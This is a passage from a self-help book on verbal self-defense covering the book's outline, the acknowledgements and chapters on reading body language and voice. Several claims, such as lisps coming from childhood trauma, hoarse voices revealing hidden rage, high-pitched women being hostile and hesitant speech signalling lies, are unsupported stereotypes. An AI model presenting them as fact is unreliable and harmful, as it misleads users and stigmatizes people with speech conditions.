defend yourself against your verbal adversary. These proven techniques range from the benign to the most
powerful. You will learn the most effective verbal-defense tactics to use in certain circumstances. You will also
learn when it's time to put up the white flag and surrender.
Page xxii
Part 4, “Verbal Warfare with Specific People in Your Life,” tells you how to defend yourself against members
of the opposite sex—husband, wives, lovers, and co-workers. You will learn the best strategies to use with
family members, from children to teens to siblings to parents. Finally you will learn the best tactics to use
against any specific opponent who could possibly cross your path. You will learn defense strategies for those
you are closer to and must see more often (such as friends, co-workers, and employers), to those you may see
on occasion (professionals, police officers, and food servers), to those with whom you rarely have contact
(customer-service representatives, attorneys, and store clerks). You will learn the most effective strategies to
use based upon these people and what effect they can have on your life.
Part 5, “Verbal Combat Against Verbal Vermin,” gets very specific, breaking down the exact verbal defense
strategies to use with particular types of verbal vermin. The verbal vermin discussed come in three categories—
merely annoying, repulsive and disgusting, and downright lethal. The more threatening the verbal vermin are to
your well-being and to you life, the stronger is the verbal weaponry employed. Obviously, the less threatening
and more annoying the verbal vermin is to you, the more benign weaponry is utilized. You will learn exactly
which type of verbal weapons are best suited for each of the three types of verbal abusers.
In the sixth and final part of this book, “Dodging Verbal Bullets in Specific Battlefields,” you will learn exactly
what to say and how to say it in a myriad of situations, including getting rid of unwanted phone solicitors,
letting someone know you don't want to be used and exploited, dealing with sexist or racist remarks, breaking
bad news to someone, admitting your mistakes, confronting someone about their mistakes, and speaking to
someone who has a lifestyle you may not support.
You will also learn what to say in life-or-death situations, from calling 911 to discussing AIDS and condom
usage to verbally protecting yourself against road rage, violence, and even rape. The end of the book focuses on
the power of the word and how what you say about yourself has a profound effect on your world around you.
You will learn how to control your tongue so that what you say and how you say it always works in your
defense and not against you.
Extras
The Complete Idiot Guide series allows you to learn even more information in a rather unique way. Specific
information is presented to you in a concise and easy-to-read manner. These extra pieces or bits of information
are categorized into four sections: “Talk Back Tips,” “Verbal Vignette,” “Bon Mots,” and “Listen Up!” Each
section is easy to locate because it appears in a gray box on the page.
Page xxiii
Throughout the book you'll also see special inserts, “Talk Back” boxes. These give samples of conversations
that represent both good and bad examples of how to talk with someone. Even though many of the
conversations and dialogue may amuse you,
Page xxiv
keep in mind that people actually do speak like this. People say things that get them into trouble. Perhaps by
being a voyeur and seeing what these people say, you'll be more aware of bad patterns and not follow suit. On
the other hand, some dialogue in these boxes will also show you how to say it right!
Dedication
To my brother and very best friend in the world Manny M. Glass, who without his incredible wisdom and
insight, and a lifetime of being my “mentor” in the area of communication, this book would never have been
done. I thank you for your efforts in helping me with the research for this book and for putting your many
brilliant ideas and theories into words so that others can benefit from them as I have. As my protector and big
brother, you have showed me a lifetime of what it means to speak up for yourself—to say what you mean—to
mean what you say—and to say it so that others will hear you. Manny, how lucky I am to have studied the “Art
of Verbal Self-Defense” from the master—YOU!
Acknowledgements..
To my best friend and mother Rosalie Glass, for loving and adoring me with every inch of her heart and soul. It
is largely because of this extraordinary woman that I am able to give back to the world the integrity, warmth,
decency, sensitivity, and love that she has instilled in me throughout my entire life! I am blessed and truly
grateful for this special gift!
I wish to thank my agent Jane Dystel for being so encouraging and supportive to me in all of my literary
endeavors.
To Nancy Mikhail for soliciting me to write this book and affording me the opportunity to help relieve a lot of
anguish in the lives of those who will read this book.
To Jessica Faust, my editor, for her insight and professionalism towards this project. Thank you to my
developer and editor, John Jones, for his support, kind words, encouragement, and for our thought-provoking
conversations; and my copy editor, Erik Dafforn and production editor, Robyn Burnett.
To Tom Brennan, Susan Kaplan, Kevin Thranow, Laura Kovach and Anthony Mora of Anthony Mora
Communications, who have consistently proven to be my best PR agents.
To each and everyone of my clients, readers, listeners, seminar audiences, and television viewers who have
shared their beautiful words, lovely thoughts, and heartfelt blessings, and by letting me know that in some way,
I made a definite difference in their lives! I am both honored and humbled.
And, finally, to all of my dear friends and colleagues in the media, I thank you for your
Page xxv
love, affection, and support, and for giving me the gift of be able to do what I love the most: getting my
message—Global Peace Through Communication—out to the world.
Feel Free to Get in Touch with Me!
I am here for you! There are other products available to you (books, tapes, videos, and so on) including two
new products that have been in enormous demand—tapes and CDs with music and lyrics I have designed to
both entertain you and to make you feel good.
They are readily available to you and can be ordered at the back of the book. You will receive them as soon as
possible.
In addition, because of the numerous requests I have had from people all over the world, I have made e-mail
and telephone consultations available to you. Now you can feel free to call me up or to e-mail me with your
specific problem. For a fee, listed in the back of this book, I will consult with you in helping to answer any of
your specific questions in helping you to apply the techniques in this book and those in my others. I will help
you help yourself in resolving your own specific relationship problems, business dilemmas, or personal and
family issues that are bothering you, consuming your thoughts, and holding you back from living a happy, proactive,
and productive live.
If you would like to set up such a telephone appointment, order books, tapes, products, or my music tapes and
CDs, e-mail me at info@drlillianglass.com, www.drlillianglass.com, or call (212) 946-5729. Leave your
name, address, e-mail address, and phone number
You can even write to me for more information at one of the following addresses:
Dr. Lillian Glass
c/o Your Total Image Inc.
P.O. Box 792
NYC, NY 10021
Dr. Lillian Glass
c/o Your Total Image Inc.
435 N. Bedford Dr. Suite 413
Beverly Hills, Ca. 90210
I look forward to hearing from you and being of service to you.
Trademarks
All terms mentioned in this book that are known to be or are suspected of being trademarks or service marks
have been appropriately capitalized. Alpha Books and Macmillan General Reference cannot attest to the
accuracy of this information. Use of a term in this book should not be regarded as affecting the validity of any
trademark or service mark.
Page 1
PART 1
IDENTIFYING THE VERBALLY VENOMOUS OPPONENT
When you “know before whom you stand,” you know everything you need to about how to navigate
successfully through life. Living becomes so much easier and safer when you know the animal you are around,
and then you won't need to feel scared, insecure, or threatened.
The animal kingdom shows a great awareness of “knowing before whom one stands.” Animals' very survival
depends on it. Is another animal friend or foe? Will one be ignored, played with, or become a meal? We know
from personal observation that dogs need a lot of attention and love to play whenever possible. Cats are
usually independent, demanding less attention; chimps often mimic whatever you do; pigs usually roll around
in dirt; and goats eat just about anything you put in front of them. You just know that an iguana will never
cuddle up to you and that a large boa constrictor can wrap itself around you, squeezing your guts out. We also
know to beware of a hissing cat or a dog bearing its teeth, growling, or foaming at the mouth.
By knowing the behavior of animals, you know what you can expect from them so that you can act accordingly.
Unfortunately, when it comes to the human animal, most of us rarely pay attention to whom we are in front of.
We are often shocked and disappointed by human actions when we find out they have lied, betrayed, or refused
to make a decision. Learning to look at or listen to who is standing in front of us, however, teaches us what to
expect and saves us untold amounts of grief and disappointment.
In Part 1 of this book, you learn to spot the dangerous human lions and tigers that are ready to attack you—not
with their teeth, but with their vicious words.
Page 3
Chapter 1
Identifying the Verbally Venomous Opponent
Because knowledge is power, identifying your verbally offensive opponent can provide you with the warning
signals that the verbal enemy is approaching and ready to attack at any time. It helps you develop verbal radar
so that you know who is most likely to be your verbal opponent and what weapons that opponent will likely
use to verbally attack you. By identifying would-be attackers immediately, you will be on guard to either ward
off their verbal advances or verbally attack back. Close examination of their facial, body, and verbal language
can help you determine whether you are standing in front of a friend or foe.
Stop, Look, and Listen—Sizing Up Your Opponent.
How many nights have you stayed awake tossing and turning because of an awful, searing comment someone
made to you? As you toss and turn, unable to find a comfortable position, you feel like kicking yourself for not
saying this or that in retort to the venomous statement. The more you replay the toxic scenario in your mind,
the harder you feel like kicking yourself for not following your “gut” instincts about the person.
If it makes you feel any better, this scenario has happened to just about everyone over the age of 10. The reason
why you didn't “go with your gut” and act accordingly is because you didn't take the time to stop, look, and
listen. This basic rule of caution for
Page 4
crossing the street is also the basic rule of caution for verbal self-defense. First, stop in your tracks and assess
the situation so that you don't blindly walk into oncoming traffic. Second, look for any oncoming vehicles.
Third, listen for any oncoming vehicles that may sneak up on you, maiming or hurting you.
Follow this same procedure with everyone you encounter. First, stop in your tracks and assess the situation so
that you don't step blindly into oncoming verbal traffic. Then look at the entire person.
For instance, observe her body language, the distance she is standing away from you, her facial expression, and
shoulder, arm, and hand posture and movement. Now you are ready to open your ears and objectively listen to
what she says and how she says it to you. This loudly and clearly announces any oncoming verbal assassins
who may try to sneak up on you, emotionally maiming you.
20/20 Hindsight
If you would have stopped, looked, and listened, you would have had a good night's sleep. You would have
seen that your potential “business associate” could not even look you in the eye when speaking with you. When
he did manage to look in your direction, his eyebrows were furrowed, and his lips were pursed, tense, and
pulled over to one side. You would have seen that he was always leaning away from you, inching farther and
farther away anytime you got close to him. His physical gestures and demeanor towards you were completely
opposite of those he showed your attractive, shapely assistant when she entered the room. In that case, he
moved closer to her, smiled, and was wide-eyed, unable to take his eyes off her as he made some inane
comments to her. Had you “listened” more carefully, you would have heard him clearly through his bravado.
You would have noticed that whenever you asked him a poignant question, he never really answered you. He
was evasive, continually interrupted you, and changed the subject whenever you tried to probe further.
By stopping, looking, and listening, you would have seen ahead of time what was coming. You would have
heard his constant bragging as a cue that he was trying way too hard to convince you of how powerful he was.
You would not have been so ready to dismiss his sexist remarks about your assistant and other females you
discussed—remarks indicating his disrespect for women. You would have interpreted his evasiveness as a sign
that he had something to hide. You would have seen his inability to look at you (especially after you asked him
a significant question), his squirming, and his distancing himself from you as indications that he felt discomfort
around you. In your 20/20 hindsight, you knew all along that not only was he disrespectful towards women, but
he was obviously not being honest with you.
Page 5
Freeze and Focus
Remember when you played musical chairs as a child? While the music played, you marched around the chairs,
which always numbered one fewer than the number of children who marched around them. When the music
stopped you were told to freeze and whoever wasn't positioned in front of a chair was disqualified from the
game. That moment of freezing allowed you to assess whether you had a chair in front of you. The same is true
whenever you find yourself in front of others. You need to freeze for a moment to assess who the person really
is. Just be careful not to go into a catatonic stupor and freeze in some contorted position.
Before sizing up your opponent, it is essential for you to initially keep your mind open—a tabula rasa.
You must be objective, putting all prejudices aside. Blow out preconceived notions and open your mind so that
you can objectively input the visual and aural information into your mind's computer.
Directly face the person. Through your nose, breathe in air for three seconds while you visually take in
information about him. As he speaks, continue this breathing pattern of slowly breathing air in through your
nose, holding it for three seconds, and then slowly exhaling it for 10 seconds, until you have comfortably
expelled all the air in your lungs. All the time you are breathing the air in through your nose, absorb what the
person is doing with his posture, stance, body, arms, hands, and face.
As you begin to interact with him, absorb what he is saying and how he says it. As you breathe in the air
through your nose, hold it, then slowly exhale it while listening to him. “Stopping” gives you the opportunity to
digest and process everything he said. It gives you the valuable time needed to analyze what he is relaying to
you and for you to respond accordingly.
Reading Between the Lines
We've all heard that you can't judge a book by its cover. While this adage is partially true—you can't judge a
book's content by its cover—you can certainly determine a lot of other things from its cover. For instance,
when browsing in a bookstore, you can assess whether the book in front of you has been handled by many,
few, or no potential readers; and whether it is old or new; expensive or cheap.
Page 6
Similarly, you can determine a great deal about a person just by objectively looking and observing her. Of
course, it is odious to judge and to react to people by the color of their skin, their physical stature, hair, height,
weight, body, or facial appearance—things they can do little or nothing about, and that have nothing to do with
their character. These erroneous and dangerous perceptions breed prejudice and hatred, the cancer of our
society. Furthermore they tell you nothing at all about what the person is like. On the other hand, things people
can control—the way they act and comport themselves—are appropriate ways to evaluate people. By observing
the way people comport themselves and their bodily and facial actions, you can learn a great deal about them,
especially in terms of how they relate to you.
When you learn to objectively read between the lines, you will see things about the other person you never
noticed before. This information often gives you the added advantage during your interactions, because you no
longer merely “look.” Now you will see the truth—what is actually going on.
Looking Between the Lines Quiz
1. Is he standing too close to you?
2. Is he standing to far away from you? Does he lunge forward when speaking to
you?
3. Is his posture hunched over? Are his shoulders slumped?
4. Is his posture rigid?
5. Does he rock back and forth when he speaks?
6. Is she in constant motion?
7. Are her arms and hands in constant motion?
8. Does she gesture wildly?
9. Does she take up a lot of room, invading your space?
10. Is she tentative in her walk?
11. Is he tentative in his movements?
12. Does his jaw jut forward when he speaks or listens?
13. Is his head bowed downward?
14. Does he make gestures opposite to what he says (for example, shaking his
head “no” when he says “yes”)?

Page 7
15. Does he clench his jaw while listening to you?
16. Does she exhibit extraneous facial tics or muscle throbbing when she listens?
17. Do veins, vessels, and muscles in her neck stick out when she speaks?
18. Does she have trouble looking at you while she listens?
19. Does she look away when speaking with you?
20. Does she stare?
21. Does he have an icy cold stare?
22. Does he smile when he looks at you?
23. Does he furrow his brow (as if frowning)?
24. Does he gaze upward when speaking or listening?
25. Does he frown when looking at or listening to you?
26. Does she have a blank look when you speak to her?
27. Is she nodding her head in agreement when you speak?
28. Does she shake her head “no” when listening to you speak?
29. Does she have a disgusted look when talking with you?
30. Does she smile too quickly or inappropriately?
31. Does he look askance at you when you speak—with forehead furrowed,
mouth pulled to the side, and one eyebrow lifted?
32. Are his nostrils flared when speaking with you?
33. Is his mouth open when listening to you?
34. Does he instinctively raise his hand to his cheeks?
35. Does his face rest on his knuckles while listening to you?
Later in this book, you learn the possible meanings of each of these
observations.
Telltale Eyes
We have all heard that the “eyes are the windows to the soul.” Eyes tell us so much about another person. Our
eyes are constantly moving as we think, observe, or speak.
When someone doesn't look at you, what does it really mean? Do you immediately think there is something
wrong with you, that he is not interested in you or that he is insecure or lacks confidence? The answer may be
any or all of the above. In the following section you learn what someone is really saying to you as you decipher
what his eyes are telling you.
Page 8
Here's Looking (or Not Looking) at You, Kid!
Eyes also signal when you can answer a question, or when it's your turn to talk. When you wish to speak, you
usually look into a person's eyes. When she looks back at you, that indicates that it is your turn to speak. This
eye contact is typically broken for a few seconds when you start to speak. Thus, those who may not relate well
to you or who disrespect what you have to say might never reestablish the eye contact, which would indicate
that it is again your turn to speak, even after you interject a comment. This type of behavior often occurs with
toxic individuals who are bullies, narcissists, or unconscious of anyone but themselves. Other people might
always look around the room when they speak, never making eye contact or even gazing in your direction.
These people may not be socially adept and may feel uncomfortable or insecure in your presence.
If the person looks up toward the sky when they speak, they may be “thinking” or trying to recall something.
Looking from side to side may also indicate “thinking” in addition to being unsure or doubting something. If a
person's eyes dart back and forth quickly, they might be nervous or uncomfortable around you.
In contrast, constant piercing stares can either debilitate or stimulate. If someone “can't take his eyes off you”
and stares right into your eyes without smiling, this is not a good sign. It can be not only disconcerting, but
frightening. This person is furious with you or can't stand you. The length of time he or she stares at you in that
manner may indicate the degree of hostility towards you, and your personal safety could be in jeopardy. This is
often the case in persons who are completely out of control with extreme mental disturbances and a tendency
toward violent reactions. But not all forms of continuous staring without a smile indicate that violence is on the
way.
Once, when I was seeing a client, he stopped talking midsentence during our conversation and stared blankly at
me for what seemed to be an eternity. This was jarring, and my heart was pounding as I was thinking that he
might turn violent at any moment. It turned out that he was having a seizure.
On the other hand, constant staring may indicate that a person is madly in love with you. In this case the pupils
enlarge due to a chemical response in the brain and the subsequent action of the autonomic nervous system.
When people gaze downward at you, “stare you down,” or look you over from head to toe, they are telling you
Page 9
that they think they are better than you. They are putting you in a weaker position during an argument. When a
brow is furrowed, the eyes are narrowed as in squinting, you can be assured that the person didn't like
something you said, doesn't like you, or is angry with you.
Opening the eyes widely may indicate that the person is either surprised by something you are saying or is
trying to be emphatic about what they are saying to you. Looking down may indicate the person is
embarrassed, ashamed or saddened, or has poor self-esteem, not feeling worthy or deserving.
Excessive blinking may reflect insecurity about what the person is trying to project. It may also indicate that a
person may not be telling the truth. Lying isn't always determined by whether or not a person looks at you. In
fact, good liars can unflinchingly look into your eyes and tell a lie, and even continue to look into your eyes
after they are accused. Research shows that when most of us are caught in a lie we will look away and if we are
innocent will look at the person, but will not stare in their eyes.
A Machiavellian person will constantly stare into the accuser's eyes—an unnatural behavior where they are
consciously attempting to appear as though they have nothing to hide. This may be mistaken for honesty.
Therefore eye contact is not the only indicator to use in determining a person's guilt or innocence, but it can be
a significant factor.
If someone is looking into the distance, at her watch, or is being distracted by another object, chances are she is
bored with what you're saying or not interested in you.
Face Off
Besides a person's eyes, facial movements tell us a lot about how and what people are thinking about us.
Approximately 75 percent of our nonverbal communication is done with our face. According to Dr. Paul
Ekman at the University of San Francisco, there are approximately six basic emotions that we express through
our face: happiness, sadness, anger, disgust, surprise, and fear. No matter what culture you are from—whether
New Guinea, China, Africa, or France—these facial expressions are universal. Even though cultural differences
still exist, the fact that we all express emotion similarly is one more reason to celebrate the similarities—and
not the differences—between people.
Many people, businessmen in particular, have been trained to use a poker face to catch their opponents (and
sometimes their colleagues) off guard. If enough time is spent together, however, people's true feelings
eventually emerge. The limbic system, located
Page 10
deep within the brain, uncovers our emotions—how we feel. Even if we voluntarily try to control our facial
movements to hide our true feelings, the involuntary aspects of the brain eventually take over, unmasking the
truth.
The gamut of human emotions is revealed throughout a conversation, so if you pay close attention you will
almost always know how the person is feeling at a particular point in the conversation. A conversation might
begin with the person's eyebrows raised and head cocked to the side, which reveals that he doubts what you are
saying. As you continue to speak, you may then see the corners of his mouth turn up, indicating that he is
amused by what you're saying. As the conversation continues, three hours later you may see his slightly flared
nostrils, a slightly protruded lower lip, and a perpetual slight smile as you continue to speak, thereby indicting
that he has “fallen in love” with you.
Telltale Mouth
The mouth is a barometer of how happy or angry a person is. If someone is grimacing, or tightening or pursing
her lips, she is usually frustrated or annoyed with you. If her annoyance with you persists, her facial expression
may turn to disgust as she raises her chin and upper lip and wrinkles her nose. If she is unhappy or sad being
with you, her face will appear expressionless (with the exception of her eyes and surrounding muscles) and her
lower lip will turn downward. If she is nervous around you, you may notice her sucking, biting, chewing, or
licking her lips a lot. She may smile nervously, wherein she immediately smiles (often at inappropriate times)
and then resumes her normal facial expression.
This is what physically happens to your face when you express the following emotions.
Happiness
Smiling mouth
Cheeks raised
Lips parted
Page 11
Jaw slightly dropped
Wrinkles around eyes
Eyes relaxed and narrowed
Sadness Eyebrows raised
Forehead wrinkled
Lower lip depressed—turned
downward
Upper eyelids lowered
Anger Eyebrows lowered
Hard stare
Lips raised
Open mouth
Disgust Lower eyelid pushed up
Upper lip raised
Nose wrinkled
Open mouth
Chin raised
Eyebrows lowered
Eyes tensed and narrowed
Surprise Eyebrows raised
Upper eyelids slightly raised
Mouth open
Jaw drops
Fear Eyebrows raised
Upper lids raised
Lips stretched
Mouth open
Tense, open eyes
Body Talk
Just as the face tells no lies, neither does the body. Like we use our faces, we use universal signals in order to
get our message across, signals that transcend different cultures. The physical distance we keep, the way we
stand, our arm and hand movements, our head position, how we shake hands, and how we touch tells us if there
is a verbal enemy among us.
Keep Your Distance!
We know whether people like being around us by how physically close or distant they are. People who inch
away from you as you inch towards them don't feel the same
Page 12
towards you as you do towards them. They feel uncomfortable around you and want to get away. People who
invade your space by getting a little too close may be from another culture, where the norm in communication
is such physical closeness, or they may really like you and want to get as close as they can to you.
On the other hand, getting too close may be a power trip, where the person is attempting to be dominant over
you. Getting too close and invading one's space is an intimidation technique many business people use to gain
the psychological “upper hand” in the situation.
Stand Up!
People's posture can convey their attitude regarding how they feel about us and how they feel about
themselves. For example, a person with a low self-image may often slouch. If he doesn't slouch around others,
but slouches around you, he may be demonstrating his feelings of subservience or intimidation by
“minimizing” himself in your presence. If someone is really attentive to you, he will usually lean forward with
straight spine, arms open. If he is relaxed around you, he will lean back with his head positioned upwards and
limbs relaxed. A person who is interested in you will have his body turned towards you, while his lack of
interest in you will be reflected in his body being turned away from you.
If she is bored or nervous around you, she will usually cross and uncross her legs; rock back and forth while
sitting or standing; stretch; or fiddle with her hands, and tap her fingers or feet. Her body may be tense, rigid if
she is nervous, and have a seemingly uncontrollable shake. Foot-tapping indicates nervousness and anxiety.
If you have hurt someone or made them sad, his body will be overly loose, with slow and deliberate
movements. On the other hand, if he is standing too still or has a rigid posture, he may be uptight and nervous.
If his posture is rigid and he is backing away from you, chances are he can't wait to get away from you.
Armed with Arms and Hands.
Fiddling with one's hands, tapping fingers, rubbing the fingers together, picking the cuticles, or biting one's
fingers or nails often indicates nervousness or discomfort in a situation.
Crossing arms often indicates hostility, as does putting the hands on both hips, finger pointing, rapid and
uncontrolled arm and hand movements, and clenching of the fists.
Excessive, overly dramatic arm and hand movements may indeed be cultural, but pay close attention, because
the person may be expressing irritation with you in trying to be overly convincing in an attempt to sway your
opinion.
Page 13
Crossing and uncrossing the arms usually means that you or what you have just said bore the listener. When
someone is really frustrated, he may gesture excessively with his hands and he may point if he is both angry
and frustrated. If he is extremely annoyed, he may put his hands on his head and rub the head.
It is essential to note that if someone is just giving up and submitting to you, they may indicate this by throwing
their hands up in the air. If someone can't seem to make a decision, they may open and shut their hands, or
there may be one hand, then the other, in motion. This act will usually be repeated several times in succession.
Hand-to-Hand Combat
The way that people shake your hand tells you a lot about them and how they feel about you. It is, however,
important to note that a handshake is also cultural. In Japan, bowing is the mode of greeting and saying
goodbye. When Japanese are forced into communicating with Americans, their handshake is often soft and
fishlike. This is because they may feel uncomfortable and tentative, as it is an act that is out of their usual social
norm. Outside of the Japanese culture, however, a light and soft handshake usually means that the person is
timid or unsure of himself, or of you. It may also indicate submissiveness.
In contrast, a firm handshake may indicate self-confidence or confidence in you. If however the handshake is
too firm, where the person is squeezing your hand too tightly, they may be trying to establish dominance or
power over you. An overly firm handshake may also reflect an inner hostility towards you. Unless the person's
arm is disabled, if you extend your hand and she doesn't accept it, or refuses to acknowledge it, she may be
saying that she really can't stand you and that she wants nothing to do with you; this is an extremely hostile act.
A clammy or wet hand often reflects nervousness, however there are some cases where the person may have a
medical condition that causes excessive perspiration.
Listening Between the Lines
Just as you absorb people with your eyes, you need to absorb them equally with your ears to determine who
they are and whether they can help you or harm you. You not only need to listen to what is said, but how it is
said. How people speak to you is just as revealing as how they physically act around you.
Page 14
Telling Tones
After studying the way people communicate for nearly two decades, I have discovered that the tone of one's
voice may be the most important factor in determining how someone really feels about himself and about you.
What goes on in one's head and in one's heart is clearly reflected in the tone of his voice.
Before discussing what voice and speech pattern may reflect about how people feel about themselves or you,
note that many speech and vocal conditions result from genetic conditions or learned behaviors. For example,
those who sound nasal may not be lazy, snobby, or condescending people, instead they may be suffering from a
cleft on their palate (the roof of their mouth). On the other hand, they may be from an area of the country where
the only way they learned to speak was nasal.
For the most part, those who speak in boring, monotonous tones are closed off emotionally and have many
unresolved psychological issues. These people have difficulty initiating and maintaining intimate relationships
because it is so difficult for others to “get a read on them” and communicate openly and freely with them.
Squeaking or Leaking?
If you encounter women who speak in a high-pitched, breathy, sickeningly sweet, accommodating vocal tone,
run for your life! Women who speak to you in high-pitched, little-girl tones usually think they are being cute,
girlish, and coquettish. This voice pattern usually reflects a great deal of inner hostility and passiveaggressiveness.
If you hang around these people long enough, don't be surprised to hear the pitch of their voice
drop down a few octaves. Watch them spew forth verbal lava from their once-delicate mouth.
A woman's high-pitched squeak can be extremely annoying and elicit a hostile reaction from others. I have
witnessed this on several occasions.
Page 15
On one occasion, a squeaky-voiced store manager kept saying things over the loudspeaker until a patron
screamed out “shut up, you're getting on my nerves. You sound like a damn chipmunk.” Everyone who heard
this bold man was in stitches. They felt the same way about her, but they dared not say anything.
When you hear the pitch of the voice (especially a man's voice) rising, you may want to consider the veracity
of what the man is saying. This is often a “leakage” of one of the factors that constitutes whether a person is
lying or telling the truth.
Tones Ready to Verbally Attack You
People who attack and speak to you in verbal bullets like a machine gun are angry at you, at themselves, or at
the world. Stay clear of them. Oftentimes, their verbal hostility makes you react with equally hostility towards
them. They may even be unconscious that they sound as hateful as they do and may question why you are
speaking in such a hostile tone to them.
The same holds true for excessively loud talkers. In addition to their hostility, unless they have a conductive
hearing loss, those who speak so loudly are often insecure, need a lot of attention, and crave to be noticed. This
is also the case for men who have deep rich resonant voices but amplify the tone by speaking too loudly—
especially in situations where everyone can hear them. Bullies often attack their tones in addition to being loud
and obnoxious.
The Mouse That Roars.
Those who speak in very soft tones may have hearing loss due to nerve damage, which reflects this type of
speech pattern. On the other hand, those with soft voices may be speaking softly because of poor self-esteem
and low self-confidence. They may be overly shy and may not feel that what they have to say is very worthy,
significant, or important. Because of their low self-worth, most soft or timid speakers can be passiveaggressive.
They may use their soft tones in order to force people to listen to them or to get attention from
others as they are asked to “speak up.” In essence, they may be speaking so low for “effect,” in order to gain
the upper hand by forcing people to listen closely to what they have to say. By speaking as softly as a mouse,
they are usually not letting out any of their true emotions.
“Tha tha that's all, folks!”
Porky Pig's infamous line at the end of cartoons makes me sick, because I have seen firsthand the devastation
teasing causes to individuals who stutter or stammer. There is a lot of controversy about what causes stuttering
or stammering (repetition or
Page 16
hesitation of words or sounds). Theories include beliefs that this speech behavior is inborn, reflects a
neurological condition, is learned, reflects emotional conflict, or stems from being nervous.
We can see how the “nervousness theory” has become so popular, because most of us stutter or have stuttered
at one point or another, especially if we have been around someone who makes us feel less than we are or who
intimidates us. We often do it in situations that make us nervous, such as talking in front of others. On the other
hand, when people hesitate or speak very slowly, you might want to question whether they are telling the truth,
because that is another signal when people lie.
Where's the Foghorn?
Constant hoarse-sounding or raspy voices aren't necessarily sexy. They tend to reflect a person who is
harboring a lot of hidden anger. Often these individuals develop growths on their vocal cords because of their
constant misuse and anger. As part of their treatment to eliminate these growths or calluses on their vocal
cords, they need to work through their inner rage.
Thylvesther the Cat Thaid What?
Like Porky Pig, Sylvester the Cat has tortured many people who lisp. While lisping or whistling s sounds may
be normal in terms of a child's development or may be due to certain dental conditions, if it persists into
adulthood there may be a psychological component.
With the exception of those who have dental conditions that lend themselves to lisping (crowns, buck teeth,
overbites, underbites, and missing teeth), many cases have not been able to overcome their lisps despite speech
therapy. It is not uncommon to find out that these individuals may have suffered some emotional trauma at the
age when they were developing the s sound, around six or seven.
Page 17
Slow Down, I Can't Keep Up!
Too fast a talker is usually a hyper person—a type A personality. They are tornadoes trying to do ten things at
once with such urgency that they leave a wake of upset, annoyed, and intimidated people. Fast talkers alienate
people because they are so difficult to understand. People who listen to them may feel as though they are being
cheated, or talked into something, yet the fast talker may have completely honest intentions. For the most part,
like the soft talker, the fast talker may be suffering from self-worth issues—not feeling worthy enough to be
heard.
Aren't You Done Yet?
There are those who speak so slowly that you can fly from New York City to LA and back by the time they
finish a sentence. Unless they are suffering from brain damage such as cerebral palsy or a stroke, or are
mentally challenged, too-slow talkers are often self-absorbed. They are so concerned about saying everything
correctly that they lose sight of who they are talking to. When you try to interrupt them, they usually ignore
you and proceed talking. These people may also be “leaking” and not telling the truth.
The Rain in Spain Lies Mainly in the Plain.
The hyper-articulate, precise talker is usually very uptight and precise, and everything has to be just so: in
Freudian terms, “anal-retentive.” They remind you of the stereotypical old-maid school marm who slapped you
on the wrists with a ruler if you kept pronouncing your words incorrectly. (Today this school marm would be
doing time for her actions!)
These precise, hyper-articulate people usually have a desire to be noticed and thought of as better and smarter
than others. They often act as though they know it all, pontificating and precisely pronouncing every “i” and
emphasizing every “t.” In reality, their behavior may mask extreme insecurities.
Page 18
Page 19
Chapter 2
Knowing When You've Been Verbally Zapped
Sometimes you get verbally zapped and you don't even realize it until it is too late. When you do finally realize
it, you become psychologically and physiologically tortured as the devastating scenario runs through your mind
over and over again. You often feel like kicking yourself because of what you could have said. You may start
to assault yourself for being “stupid” and “ignorant” and not charging forth to defend yourself against your
offensive adversary. By learning how to always be on guard for possible verbal arrows, you will save yourself
a lot of grief and physical pain.
What Are They Really Saying to You?
Not only is it important to listen to how people speak to you, such as their tone of voice, it is equally important
to listen to everything they say to you and I mean everything!
You need to develop 20/20 hearing—perfect pitch, in a way. You need to hear exactly what people say and
process the words coming out of their mouths. You can't hear only what you want to hear or what you think (or
hope) they mean.
Steve was devastated when Linda walked out on him. “How could she do this to me? There were no signs. She
just left for no reason at all. She took the furniture and everything,” said a perplexed Steve during his therapy
session in my office. I probed
Page 20
and probed, until he finally realized that Linda in fact had told him she was going to leave him if he didn't start
to open up and share himself emotionally as well as physically. After some intensive soul searching, he finally
was able to remember one conversation where Linda screamed and yelled at him for not reacting to anything
emotionally. He remembered that she called him a “coldblooded lizard with ice running through his veins.” She
said that she would clean him out of house and home, and then maybe he'd react.
Had Steve really listened to what she was saying, and had he gotten some therapy to help him more freely
express himself verbally, the two of them might be together today, and Steve would at least still have a chair on
which to sit and a bed on which to sleep! He thought she was “only kidding” when she gave him this
ultimatum.
You Were Not “Only Kidding”
Like Steve, many of us think that the other person is only kidding when we hear something drastic or shocking.
We tend to obliterate our emotional reaction to these verbal bombs, ignoring the message and dismissing it as a
mere joke. We don't want to believe they just said what they said. But the truth is that they did say it, and you
had better hear it, or it may be too late. For Steve, it was too late. He quickly learned that there was nothing
funny when Linda acted on what she said. You must believe everything that someone says and not dismiss it as
mere humor.
Freud once said that there are no jokes, “only truth.” Those who say mean things or make cutting remarks are
revealing how negatively they really feel towards you. With their shockingly hostile statements, they are
actually telling you the truth. When they see the look of shock or anger cross your face, they immediately jump
in with “I was only kidding.” In essence, they punch you out, you fall down, and by dismissing their own
hostile words as a joke, they deprive you of your chance to fight back or retort.
These hostile words will continue to resonate, however, as will the actions. “I was only kidding” is also a form
of sadistic behavior. A person sees a flaw or something he doesn't like and relishes it, enjoying your problem in
order to make himself feel better. By making the shocking statement to you and verbally slapping you in your
face, he tells you how negatively he really feels about you.
We see many people do this to one another; we say that the victim who laughs it off is a “good sport.” But
there is nothing sporty about being cut down and then smiling about what was said, especially if the words
sting you. You need to put a stop to anyone joking with you at your expense.
Page 21
What's the Matter? Cat Got Your Tongue?
There is nothing more disconcerting than attempting to converse with someone who isn't willing to give you
any information. They are verbal vampires, trying to suck out all of the information and energy from you and
not giving you back anything in return. They are stingy with what they say to you. You might ask them
reciprocal questions and hear them not answer, give you a short answer, or circumvent the question entirely,
changing the subject and bringing the conversation back to you. These people are very dangerous and often
sneaky backstabbers. They acquire all of the information from you and then take advantage of you and the
situation.
If someone isn't holding up her end of the conversation, don't let your ego get in the way and think she is
“flattering you.” Instead, know that she is about to “flatten you.” When you hear her deafening silence, shut up
and don't give her any more of yourself. Put the ball in her court, no matter how awkward the stillness and
quiet become. If she can't give you anything verbal in return, neither can you; end the conversation using
techniques that you will learn later in this book.
Page 22
If He Says He's a Jerk, Believe Him
When I was in college, the women in the dormitory had a rule. “If a guy tells you he's a jerk, believe him. He
is!” One classmate argued with a well known jerk, insisting that he was really such a sweet and nice guy,
dismissing his claims of being a jerk. But she finally had to agree with him when she saw him hitting on her
roommate after he asked her to go steady with him.
